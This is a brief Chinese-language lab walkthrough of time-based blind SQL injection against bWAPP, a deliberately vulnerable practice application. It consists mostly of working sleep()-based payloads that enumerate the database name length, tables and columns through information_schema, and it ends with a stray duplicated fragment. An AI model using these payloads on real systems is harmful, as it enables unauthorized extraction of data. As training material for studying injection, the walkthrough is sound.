bWAPP-SQLIBlind2

时间延迟注入

基本流程

1.判断存在注入

' or sleep(3) #

--' or sleep(if((1=2), true, false))#
' or sleep(if((1=2), 0, 3)) #

2.判断数据库长度并逐个爆破(sleep/length)

' or sleep(if(length(database())>7 , 1, 3)) # --(false)

' or sleep(if(length(database())>3 , 1, 3)) # --(true)
--则数据库长度在(3,7)之间

3.爆破表的个数/长度/表名(count/length/mid)

• 表个数

’ or sleep(if( ((select count(table_name) from information_schema.tables where table_schema=database())>5) , 1, 3)) # --(false)

’ or sleep(if( ((select count(table_name) from information_schema.tables where table_schema=database())>3) , 1, 3)) # --(true)
–则表个数在(3,5)之间

- 表长度

```sql
' or sleep(if((length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) > 5), 1, 3)) # 

• 表名

' or sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100), 1, 3)) # 

4.爆破列个数/长度/列名(count/length/mid)

• 列个数

' or sleep(if( ((select count(column_name) from information_schema.columns where table_name="users" and table_schema=database())>5) , 1, 3)) #  

• 列长度

' or sleep(if((length((select column_name from information_schema.columns where table_name="users" and table_schema=database() limit 0,1)) > 5), 1, 3)) # 

• 列名

' or sleep(if((ascii(mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)) > 105 ), 1, 3)) # 

() and table_name=‘users’ limit 0,1),1,1)) > 105 ), 1, 3)) #